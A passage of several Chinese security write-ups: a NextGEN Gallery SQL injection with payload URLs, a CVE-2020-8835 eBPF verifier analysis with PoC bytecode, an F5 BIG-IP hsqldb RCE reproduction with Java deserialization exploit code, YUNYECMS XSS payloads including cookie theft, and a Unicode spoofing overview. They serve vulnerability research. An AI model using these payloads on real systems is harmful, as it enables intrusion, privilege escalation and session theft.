statement，这意味着SQL语句使用格式化字符串和输入值作为参数。这使我们得出结论：将用户的输入提供给格式化字符串从来不是一个好主意，因为它可能没有对字符串进行过滤，可能会包含有效的sprintf/printf指令。
这就是为什么这个方法，get_term_ids_for_tags()引起了我们的注意：
上面的代码可以在下面的路径中发现：
nextgen-gallery/products/photocrati_nextgen/modules/nextgen_gallery_display/package.module.nextgen_gallery_display.php
在这个源代码中，我们注意到“$container_ids”字符串是由tag输入创建的，并且它的值并没有经过适当的过滤。对于SQL注入，它是安全的，但是，它不能阻止任意格式化字符串指令/输入的插入，在WordPress数据库的$wpdb->prepare()方法下会引起问题。
$wpdb->prepare和sprintf
在prepare()方法的代码中，我们注意到原始SQL代码在执行前发生了一些变化，具体变化是：如果在语句中发现%s，会被替换成‘%s’。同样，我们看到在发生变化之后，它会被传递给vsprintf函数，这意味着我们注入的任何有效的格式化字符串将有可能被处理。从PHP的sprintf函数文档中我们知道[可能会发生参数交换](http://php.net/manual/en/function.sprintf.php)，当没有适当过滤的输入数据添加到格式化字符串时，有可能导致类似于下面的一些问题：
1.恶意用户将下面的输入注入到格式化字符串/查询中：
2.生成的查询有可能类似于这样：
3.当传递给prepare()方法时，有可能会被修改为：
(%s将会变成‘%s’)。
4.于是，当由此产生的格式化字符串传递给vsprintf函数后，产生的SQL查询语句具有以下格式：
如上所示，这意味着我们保留了一个额外的‘符号，这打破了我们字符串的单引号序列，并会将我们生成的[any_text2]字符串变成SQL查询的一部分。
**利用方案**
在插件的源代码中，我们发现有两个地方的函数会创建“$container_ids”字符串,分别是：
1.当使用标签库的短码时。它需要一个特权认证用户来执行这个攻击。
2.当从一个“NextGEN Basic TagCloud”相册访问标签时，恶意访问者可以通过稍微修改相册的URL(网站中存在的相册)，去发起攻击。
有了这些知识，一个未经授权的攻击者可以向SQL查询中添加额外的sprintf/printf指令，并利用$wpdb->prepare()的行为向执行的语句中添加攻击者控制的代码。
最终的攻击载荷(使用了TagCloud方法)类似于下面这样：
(http://target.url/2017/01/17/new-one/nggallery/tags/test%1$%s)) or 1=1#)
或者
(http://target.url/2017/01/17/new-one/nggallery/tags/test%1$%s)) or 1=2#)
**结论**
这是一个严重漏洞，如果你使用了该插件的一个有漏洞的版本，请尽可能快的对它进行升级。
**参考链接**
[https://arstechnica.com/security/2017/02/severe-vulnerability-in-wordpress-plugin-could-affect-1-million-sites/?utm_source=tuicool&utm_medium=referral](https://arstechnica.com/security/2017/02/severe-vulnerability-in-wordpress-plugin-could-affect-1-million-sites/?utm_source=tuicool&utm_medium=referral) | 社区文章 |
**作者：360CERT**
**原文链接：<https://mp.weixin.qq.com/s/XteBFMBI_j8R6uateNK_YQ>**
## 0x01 漏洞背景
2020年03月31日， 360CERT监测发现 ZDI 在 Pwn2Own 比赛上演示的 Linux 内核权限提升漏洞已经被 CVE 收录，CVE编号:
CVE-2020-8835。
该漏洞由@Manfred
Paul发现，漏洞是因为bpf验证程序没有正确计算一些特定操作的寄存器范围，导致寄存器边界计算不正确，进而引发越界读取和写入。该漏洞在Linux
Kernelcommit(581738a681b6)中引入。
2020年04月20日，360CERT对该漏洞进行了详细分析，并完成漏洞利用。
### 1.1 eBPF介绍
eBPF是extended Berkeley Packet
Filter的缩写。起初是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙，安全，内核调试与性能分析等领域。
eBPF程序的运行过程如下：在用户空间生产eBPF“字节码”，然后将“字节码”加载进内核中的“虚拟机”中，然后进行一些列检查，通过则能够在内核中执行这些“字节码”。类似Java与JVM虚拟机，但是这里的虚拟机是在内核中的。
**内核中的eBPF验证程序**
允许用户代码在内核中运行存在一定的危险性。因此，在加载每个eBPF程序之前，都要执行许多检查。
首先确保eBPF程序能正常终止，不包含任何可能导致内核锁定的循环。这是通过对程序的控制流图(CFG)进行深度优先搜索来实现的。包含无法访问的指令的eBPF程序,将无法加载。
第二需要内核验证器（verifier
），模拟eBPF程序的执行，模拟通过后才能正常加载。在执行每条指令之前和之后，都需要检查虚拟机状态，以确保寄存器和堆栈状态是有效的。禁止越界跳转，也禁止访问非法数据。
验证器不需要遍历程序中的每条路径，它足够聪明，可以知道程序的当前状态何时是已经检查过的状态的子集。由于所有先前的路径都必须有效（否则程序将无法加载），因此当前路径也必须有效。
这允许验证器“修剪”当前分支并跳过其仿真。
其次具有未初始化数据的寄存器无法读取；这样做会导致程序加载失败。
最后，验证器使用eBPF程序类型来限制可以从eBPF程序中调用哪些内核函数以及可以访问哪些数据结构。
bpf程序的执行流程如下图：
## 0x02 漏洞分析
为了更加精确地规定寄存器的访问范围，linux kernel 引入了`reg_bound_offset32`函数来获取范围，在调用jmp32之后执行。
如umax为`0x7fffffff`，`var_off为0xfffffffc`，取其并集算出的结果应为`0x7ffffffc`。
而漏洞点就在于引入的`reg_bound_offset32`函数，该函数计算的结果并不正确。 如执行以下代码：
5: R0_w=inv1 R1_w=inv(id=0) R10=fp0
5: (18) r2 = 0x4000000000
7: (18) r3 = 0x2000000000
9: (18) r4 = 0x400
11: (18) r5 = 0x200
13: (2d) if r1 > r2 goto pc+4
R0_w=inv1 R1_w=inv(id=0,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp0
14: R0_w=inv1 R1_w=inv(id=0,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp0
14: (ad) if r1 < r3 goto pc+3
R0_w=inv1 R1_w=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp0
15: R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0
15: (2e) if w1 > w4 goto pc+2
R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0
16: R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0
16: (ae) if w1 < w5 goto pc+1
R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp0
64位下的范围为：
reg->umin_value = 0x2000000000
reg->umax_value = 0x4000000000
p->var_off.mask = 0x7fffffffff
而在32位下，寄存器的范围为`[0x200,
0x400]`，正常预期获得的`reg->var_off.mask`应为`0x7f000007ff`，或者不精确时为`0x7fffffffff`。但通过`__reg_bound_offset32`函数获取的结果如下：
reg->umin_value: 0x2000000000
reg->umax_value: 0x4000000000
reg->var_off.value: 0x0
reg->var_off.mask: 0x7f00000000
对于`reg->var_off.mask`的计算错误，有可能造成后续的判断或计算错误，使得bpf在验证时和实际运行时计算结果不同，最终导致信息泄露和权限提升。
### 2.1 poc分析
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (25) if r0 > 0x30303030 goto pc+0
9: (76) if w0 s>= 0x303030 goto pc+2
10: (05) goto pc-1
11: (05) goto pc-1
12: (95) exit
在bpf验证这段程序时，会通过`is_branch_taken`函数对跳转进行判断：
/* compute branch direction of the expression "if (reg opcode val) goto target;"
* and return:
* 1 - branch will be taken and "goto target" will be executed
* 0 - branch will not be taken and fall-through to next insn
* -1 - unknown. Example: "if (reg < 5)" is unknown when register value range [0,10]
*/
static int is_branch_taken(struct bpf_reg_state *reg, u64 val, u8 opcode,
bool is_jmp32)
通过调试，可以看到其中对于第9条指令（BPF_JSGE）的跳转如下：
是通过`reg->smin_value`和sval进行比较判断，由于var_off的计算错误，间接导致smin_value的结果错误，使得BPF_JSGE的跳转恒成立。
而在实际运行时`w0为-53688320`为负数，小于`0x00303030`，所以第9条指令`if w0 s>= 0x303030 goto
pc+2`不跳转，执行下一条执行，而下一条指令被填充了`dead_code（goto pc-1）`。
绿框表示下一条要执行的指令(rbx寄存器保存着当前执行指令在jumptable数组中的偏移，加0x8表示下一条指令）
而所谓的dead_code其实就是填充下一条指令为`BPF_JMP_IMM(BPF_JA, 0, 0, -1)`。
static void sanitize_dead_code(struct bpf_verifier_env *env)
{
struct bpf_insn_aux_data *aux_data = env->insn_aux_data;
struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);
struct bpf_insn *insn = env->prog->insnsi;
const int insn_cnt = env->prog->len;
int i;
for (i = 0; i < insn_cnt; i++) {
if (aux_data[i].seen)
continue;
memcpy(insn + i, &trap, sizeof(trap));
}
}
造成了死循环。
## 0x03 漏洞利用
要对该漏洞完成利用，需要考虑计算错误的`var_off.mask`在后续哪些操作中会造成影响，从而导致检查时和运行时不一致。
我们找到了`BPF_AND`操作：
kernel/bpf/verifier.c:4937
case BPF_AND:
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value &
src_reg.var_off.value);
break;
}
/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
*/
dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);// ****
……
实际上的AND操作是在`tnum_and`中进行：
struct tnum tnum_and(struct tnum a, struct tnum b)
{
u64 alpha, beta, v;
alpha = a.value | a.mask;
beta = b.value | b.mask;
v = a.value & b.value;
return TNUM(v, alpha & beta & ~v);
}
该操作前的寄存器状态为：
$12 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0,
ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x7f00000000}, smin_value = 0x2000000000,
smax_value = 0x4000000000, umin_value = 0x2000000000, umax_value = 0x4000000000, parent = 0xffff88801f97ab40,
frameno = 0x0, subreg_def = 0x0, live = 0x0, precise = 0x1}
`tnum_and`操作后的状态为：
$16 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0,
ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x0}, smin_value = 0x2000000000, smax_value = 0x4000000000,
umin_value = 0x0, umax_value = 0xffffffff, parent = 0xffff88801f97ab40, frameno = 0x0, subreg_def = 0x0,
live = 0x4, precise = 0x1}
tnum_and操作导致`var_off.value=0`, `var_off.mask=0`。
之后调用 `__update_reg_bounds`函数时，导致`reg->smin_value=0`，`reg->smax_value=0`。
$48 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0,
ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x0}, smin_value = 0x0, smax_value = 0x0, umin_value = 0x0,
umax_value = 0x0, parent = 0xffff88801f97c340, frameno = 0x0, subreg_def = 0x0, live = 0x4, precise = 0x1}
这里相当于在检查时寄存器的值为0，而实际运行时寄存器是正常值。 进而绕过检查，可以对map指针进行加减操作，导致越界读写：
adjust_ptr_min_max_vals():
case PTR_TO_MAP_VALUE:
if (!env->allow_ptr_leaks && !known && (smin_val < 0) != (smax_val < 0)) {
verbose(env, "R%d has unknown scalar with mixed signed bounds, pointer arithmetic with it prohibited for !root\n",
off_reg == dst_reg ? dst : src);
return -EACCES;
}
其实这里的越界读写，bpf在执行完`do_check`后会调用`fixup_bpf_calls`，检查加减操作，并做了防止越界的patch：
if (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) ||
insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) {
const u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X;
const u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X;
struct bpf_insn insn_buf[16];
struct bpf_insn *patch = &insn_buf[0];
bool issrc, isneg;
u32 off_reg;
aux = &env->insn_aux_data[i + delta];
if (!aux->alu_state ||
aux->alu_state == BPF_ALU_NON_POINTER)
continue;
isneg = aux->alu_state & BPF_ALU_NEG_VALUE;
issrc = (aux->alu_state & BPF_ALU_SANITIZE) ==
BPF_ALU_SANITIZE_SRC;
off_reg = issrc ? insn->src_reg : insn->dst_reg;
if (isneg)
*patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
上述代码的效果实际上是添加了以下指令，来对加减的寄存器范围作了限制，防止越界：
我们可以通过对指针进行不停累加，进而绕过该补丁。但我们在实际编写利用过程中，有数据的地址离map太远，累加次数过多，而bpf又限制指令的数量。
所以我们转而对栈指针进行越界读写，发现可以做到栈溢出。之后覆盖返回地址即可，但需要通过rop技术绕过smep、smap和kpti保护机制。
漏洞利用提权成功效果图：
## 0x04 时间线
**2020-03-19** ZDI 展示该漏洞攻击成果
**2020-03-30** CVE 收录该漏洞
**2020-03-31** 360CERT发布预警
**2020-04-21** 360CERT完成漏洞利用并发布漏洞分析报告
## 0x05 参考链接
1. <https://www.thezdi.com/blog/2020/3/19/pwn2own-2020-day-one-results>
2. <https://security-tracker.debian.org/tracker/CVE-2020-8835>
3. <https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-8835.html>
4. <https://lore.kernel.org/bpf/[email protected]/T/>
* * * | 社区文章 |
**作者：Longofo@知道创宇404实验室**
**时间：2020年7月10日**
**English Version:<https://paper.seebug.org/1272/>**
F5 BIG-IP最近发生了一次比较严重的RCE漏洞，其中主要公开出来的入口就是tmsh与hsqldb方式，tmsh的利用与分析分析比较多了，如果复现过tmsh的利用，就应该知道这个地方利用有些鸡肋，后面不对tmsh进行分析，主要看下hsqldb的利用。hsqldb的利用[poc](https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902)已经公开，但是java
hsqldb的https导致一直无法复现，尝试了各种方式也没办法了，只好换其他思路，下面记录下复现与踩坑的过程。
#### 利用源码搭建一个hsqldb http servlet
如果调试过hsqldb，就应该知道hsqldb.jar的代码是无法下断点调试的，这是因为hsqldb中类的linenumber
table信息没有了，linenumber table只是用于调式用的，对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber
table区别：
使用`javap -verbose hsqlServlet.class`命令看下hsqldb中hsqlServlet.class类的详细信息：
Classfile /C:/Users/dell/Desktop/hsqlServlet.class
Last modified 2018-11-14; size 128 bytes
MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V
#2 = Class #8 // hsqlServlet
#3 = Class #9 // org/hsqldb/Servlet
#4 = Utf8 <init>
#5 = Utf8 ()V
#6 = Utf8 Code
#7 = NameAndType #4:#5 // "<init>":()V
#8 = Utf8 hsqlServlet
#9 = Utf8 org/hsqldb/Servlet
{
public hsqlServlet();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method org/hsqldb/Servlet."<init>":()V
4: return
}
使用`javap -verbose Test.class`看下自己编译的类信息：
Classfile /C:/Users/dell/Desktop/Test.class
Last modified 2020-7-13; size 586 bytes
MD5 checksum eea80d1f399295a29f02f30a3764ff25
Compiled from "Test.java"
public class Test
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #7.#22 // java/lang/Object."<init>":()V
#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;
#3 = String #25 // aaa
#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = String #19 // test
#6 = Class #28 // Test
#7 = Class #29 // java/lang/Object
#8 = Utf8 <init>
#9 = Utf8 ()V
#10 = Utf8 Code
#11 = Utf8 LineNumberTable
#12 = Utf8 LocalVariableTable
#13 = Utf8 this
#14 = Utf8 LTest;
#15 = Utf8 main
#16 = Utf8 ([Ljava/lang/String;)V
#17 = Utf8 args
#18 = Utf8 [Ljava/lang/String;
#19 = Utf8 test
#20 = Utf8 SourceFile
#21 = Utf8 Test.java
#22 = NameAndType #8:#9 // "<init>":()V
#23 = Class #30 // java/lang/System
#24 = NameAndType #31:#32 // out:Ljava/io/PrintStream;
#25 = Utf8 aaa
#26 = Class #33 // java/io/PrintStream
#27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V
#28 = Utf8 Test
#29 = Utf8 java/lang/Object
#30 = Utf8 java/lang/System
#31 = Utf8 out
#32 = Utf8 Ljava/io/PrintStream;
#33 = Utf8 java/io/PrintStream
#34 = Utf8 println
#35 = Utf8 (Ljava/lang/String;)V
{
public Test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 1: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this LTest;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String aaa
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 args [Ljava/lang/String;
public void test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #5 // String test
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 7: 0
line 8: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 this LTest;
}
SourceFile: "Test.java"
可以看到自己编译的类中，每个method中都有一个
LineNumberTable，这个信息就是用于调试的信息，但是hsqldb中没有这个信息，所以是无法调试下断点的，hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。
没办法调试是一件很难受的事情，我现在想到的有两种：
1. 反编译hsqldb的代码，自己再重新编译，这样就有linenumber信息了，但是反编译再重新编译可能会遇到一些错误问题，这部分得自己手动把代码修改正确，这样确实是可行的，在后面f5的hsqldb分析中可以看到这种方式
2. 代码开源，直接用源码跑
hsqldb的代码正好是开源的，那么这里就直接用源码来开启一个servlet吧。
**环境** ：
* hsqldb source代码是1.8的，现在新版已经2.5.x了，为了和f5中的hsqldb吻合，还是用1.8的代码吧
* JDK7u21，F5 BIG-IP 14版本使用的JDK7，所以这里尽量和它吻合避免各种问题
虽然开源了，但是拖到idea依然还有些问题，我修改了一些代码，让他正常跑起来了，修改好的代码放到[github](https://github.com/longofo/hsqldb-source)上了，最后项目结构如下：
使用http方式利用hsqldb漏洞(ysoserial cc6，很多其他链也行)：
public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
}
#### 利用requests发包模拟hsqldb RCE
java hsqldb https问题无法解决，那就用requests来发https包就可以了，先模拟http的包。
抓取上面利用java代码发送的payload包，一共发送了三个，第一个是连接包，连接hsqldb数据库的，第二、三包是执行语句的包：
根据代码看下第一个数据包返回的具体信息，主要读取与写入的信息都是由Result这个类处理的，一共20个字节：
* 1~4：总长度00000014，共20字节
* 5~8：mode，connection为ResultConstants.UPDATECOUNT，为1，00000001
* 9~12：databaseID，如果直接像上面这样默认配置，databaseID在服务端不会赋值，由jdk初始化为0，00000000
* 13~16：sessionID，这个值是DatabaseManager.newSession分配的值，每次连接都是一个新的值，本次为00000003
* 17~20：connection时，为updateCount，注释上面写的 max rows (out) or update count (in)，如果像上面这样默认配置，updateCount在服务端不会赋值，由jdk初始化为0，00000000
连接信息分析完了，接下来的包肯定会利用到第一次返回包的信息，把他附加到后面发送包中，这里只分析下第二个发送包，第三个包和第二个是一样的，都是执行语句的包：
* 1~4：总长度00000082，这里为130
* 5~8：mode，这里为ResultConstants.SQLEXECDIRECT，0001000b
* 9~12：databaseID，为上面的00000000
* 13~16：sessionID，为上面的00000003
* 17~20：updateCount，为上面的00000000
* 21~25：statementID，这是客户端发送的，其实无关紧要，本次为00000000
* 26~30：执行语句的长度
* 31~：后面都是执行语句了
可以看到上面这个处理过程很简单，通过这个分析，很容易用requests发包了。对于https来说，只要设置verify=False就行了。
#### 反序列化触发位置
这里反序列化触发位置在：
其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的，而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以，例如`org.hsqldb.sample.FindFile.main`。
#### F5 BIG-IP hsqldb调试
如果还想调试下F5 BIG-IP hsqldb，也是可以的，F5 BIG-IP里面的hsqldb自己加了些代码，反编译他的代码，然后修改反编译出来的代码错误，再重新打包放进去，就可以调试了。
#### F5 BIG-IP hsqldb回显
* 既然能反序列化了，那就可以结合Template相关的利用链写到response
* 利用命令执行找socket的fd文件，写到socket
* 这次本来就有一个fileRead.jsp，命令执行完写到这里就可以了
#### hsqldb的连接安全隐患
从数据包可以看到，hsqldb第一次返回信息并不多，在后面附加用到的信息也就databaseID，sessionID，updateCount，且都只为4字节（32位），但是总有数字很小的连接排在前面，所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5
BIG-IP，直接用上面默认的就行了，无需爆破。
#### 总结
虽然写得不多，写完了看起来还挺容易，不过过程其实还是很艰辛的，一开始并不是根据代码看包的，只是发了几个包对比然后就写了个脚本，结果跑不了F5 BIG-IP
hsqldb，后面还是调试了F5
hsqldb代码，很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的，如果我们直接爆破databaseID，sessionID，updateCount，也很容易爆破出可用的databaseID，sessionID，updateCount。
* * * | 社区文章 |
## **1\. 前言**
在cnvd上看到有人爆了
这款cms的几个sql注入，本想着下载下来复现一下，也算是学习下代码审计，然后下载最新版的发现基本已经被修复了，然后想着能不能找到新的漏洞，最后也就以两处惨淡的xss漏洞收场，大佬勿喷
## **2.前台反射型xss漏洞**
首先给出payload
http://127.0.0.1:81/index.php?a=login&c=member&m=%3Cimg%20src=1%20onerror=alert(1)%3E
从输出形式上来看是没有找到该文件，错误回显导致的问题
首先定位到代码位置 /core/lib/application.class.php文件中的load_controller函数
看到ROUTE_C ROUTE_M 全局搜索，定位到/core/func/basic.fun.php，可以看到传进来的 $var["m"] =
ROUTE_M; $var["c"] = ROUTE_C; $var["a"] = ROUTE_A
综上可以看出对通过url传进来的 $m和$filename进行了拼接然后然后去寻找是否存在该路径，并没有对输入的$m和$filename进行过滤直接输出了。
## **3.后台反射xss漏洞**
和前台反射xss类似，只是换了一个调用的函数而已
定位到函数位置：/core/lib/YUNYECMSAdmin.class.php
可以看到是直接拼接了ROUTE_C,也就是url传进来的c参数,这个反射型的xss不论是前台还是后台都是由于直接拼接了url传进来的参数导致的xss
## **4.前台留言处xss漏洞**
url: http://127.0.0.1:81/index.php?a=customform&catid=12
前台增加留言处
XSS payload <marquee onstart=prompt(1)><marquee>
触发cookie <input onfocus=prompt(document[`coo`+`kie`])>
此前一直想尝试在xss平台上获取cookie,但是由于过滤了//导致一直没有成功，附上一个不成功的payload,有大佬可以获取cookie，还请不吝赐教
<input onfocus=document.body.appendChild(document[`cr`+`eateElement`](`scr`+`ipt`)).src=http://127.0.0.1`>
首先抓包定位到函数位置为core\app\content\index.php中的formadd()函数，可以看到对传进来的参数都使用了usafestr()函数
在/core/func/core.fun.php定义了该函数 然后跟进到usafestr函数，然后看到过滤了一堆东西
在core\extend\classes\safestring.php中的过滤规则
然后可以看到过滤了很多东西，很高大上，结合模糊测试和白盒审计找到几个没有过滤的可以用来触发xss的，发现基本过滤了onerror alert
onmouseover等危险字符，onfocus onstart 可以用
在搜集的xss payload里寻找，找到一个可用的payload
<marquee onstart=prompt(1)><marquee>
在后台可以看下payload形式，是绕过了xss过滤的
触发点在点击删除的时候的确认提醒处
然后在F12查看源代码
## **5.后台xss漏洞**
后台的可触发XSS比较鸡肋，但是如果只是拥有了一个低权限的账户，同时具有写留言的功能，能获取到高权限的cookie,这样就不显的那么鸡肋了
还是以后台的留言处为例
url:http://127.0.0.1:81/admin.php?c=content&a=customform_add&usv_ixIW=egksuBNTW6
跟进到\core\admin\content.php函数中的customform_add()
函数,只对传入进来的catid进行了usafestr过滤，并没有对其他进行过滤，然后payload可以随便写 | 社区文章 |
## 1\. 简介
### 1.1 编码
在1963年，计算机使用尚不广泛，主要使用7-bit的ASCII编码（American Standard Code for Information
Interchange，美国信息互换标准代码）来作为字符的编码，只支持常用的少数一些字符。但是随着计算机的不断普及，各个国家和地区开始制造自己的编码规范，同时互相不进行兼容，编码逐渐成为了一个问题。
### 1.2 Unicode
而后ISO(International Organization for Standardization, 国际标准化组织)
开始尝试制定包含大部分字母和符号的编码，称为"Universal Multiple-Octet Coded Character Set"，简称UCS,
俗称Unicode。
Unicode实际上是一个字符和数字之间的映射关系表，并不制定实际的编码方案。因此又开始制定UTF(Unicode Transformation
Formats)标准，包括UTF-8、UTF-16和UTF-32等。可以理解为Unicode是一个设计图，而UTF-X是其中一种实现。
### 1.3 Code Point 与 Code Unit
Code Point指Unicode标准里字符的编号，比如用目前Unicode使用了0 ~ 0x10FFFF的编码范围，通常用U+xxxx来表示某个字符。
Code Unit指某种Unicode编码方式里编码一个Code Point需要的最少字节数，比如UTF-8需要最少一个字节，UTF-16
最少两个字节，UCS-2两个字节，UCS-4和UTF-32四个字节，后面三个是定长编码。
## 2\. 视觉欺骗
视觉欺骗问题是最常见的也是考虑最多的Unicode安全问题。视觉问题一般指几个不同的不同的字符在某个字体下看起来较为相同。可能是字符之间一对一相似、多个字符的组合字符和一个字符相似等，这种现象在字体较小的情况下会更加明显，在一些文章中这种问题也被称为同形异义词(homographs)问题。
### 2.1 国际化域名
国际化域名（Internationalized Domain
Name，IDN）又称特殊字符域名，是指部分或完全使用特殊的文字或字母组成的互联网域名，包括中文、法语、阿拉伯语、希伯来语或拉丁字母等非英文字母，这些文字经多字节万国码编码而成。
因为浏览器对国家化域名的支持，这就使得可以出现 `аррӏе.com` (其中I是U+04CF) 这样的域名。在地址栏中，这样的域名看上去会和
`apple.com` 比较相似。
> 注: 这个例子在Chrome中已经被修复，但是Firefox中仍然生效。
同样在Url中，一些看上去和控制字符类似的Unicode也会造成问题，例如 `/` 和 `⁄`
(U+2044)看起来就很相似，`example.com⁄evil.com` 实际上是 `com⁄evil.com` 的子域名。同样的 `?` / `.`
/ `#` 等类似字符也存在这样的问题。
除了上面提到的两种情况，punycode也是一种视觉欺骗的形式，punycode是域名的一种编码，会以 `xn--` 开头，后面是普通的有效域名，例如
`аррӏе.com` 对应的punycode就是 `xn--80ak6aa92e.com`。当chrome认为这是一个视觉问题时，就会主动把域名以punycode显示，以减少混淆的影响。但是反过来，也能应用这种方式来实现视觉欺骗，例如
`䕮䕵䕶䕱.com` 的punycode形式就是 `xn--google.com`。
### 2.2 双向显示
阿拉伯和希伯来语是从右往左阅读的，这在一些场景下可能造成问题。例如一个名为 `txt.exe` ，加入Unicode的控制字符后，在用户界面看起来是
`exe.txt` ，这样就有可能导致用户的误判。
### 2.3 数字显示
一些国家的数字在显示的时候也可能造成问题，例如孟加拉语的0-9是০ ১ ২ ৩ ৪ ৫ ৬ ৭ ৮ ৯，但是这里的৪ (U+09EA)
实际上是数字4。ASIS CTF 2019 的 [Unicorn Shop](\(https://github.com/hyperreality/ctf-writeups/tree/master/2019-asis)) 也是从Unicode背后的数字角度出发考虑问题。
## 3\. 非视觉漏洞
除了视觉漏洞之外，还有很多其他方面的漏洞。这些问题主要字符是转换导致的字符串。关于字符串处理转换的细节，可以参考我之前的这篇[文章](https://lylemi.github.io/2018/10/29/unicode-normalization/)。
### 3.1 等价形式
在WAF类处理，很容易想到的是 `LocalHost` 和 `localhost` 等同，但是 `ⓛocaⓛhost`
这种情景就不太容易被处理。在SSRF中的防御中，如果没有做对应的处理，这种替换就可以完成一些bypass。
### 3.2 字符删除
例如 `\x3c\x73\x63\x72\xc2\x69\x70\x74\x3e` 这个字符串中，而 `\xc2`
并不是任何一个有效字符的子串，在一些处理逻辑中，可能会删除 `\xc2` 这个字符，从而导致问题。
### 3.3 字符替换
一些情况下，字符会被替换为其他的字符 如U+FFFF会被替换成 `?` 这在一些 `?` 有明确语义的情况下就会出现问题。
### 3.4 缓冲区溢出
在一些大小写转换时，字符会变多，例如 `'ß'.toUpperCase()` 的运行结果是
`SS`。如果字符串的长度检查在大小写转换之前，就可能会存在缓冲区溢出问题。
## 4\. 参考链接
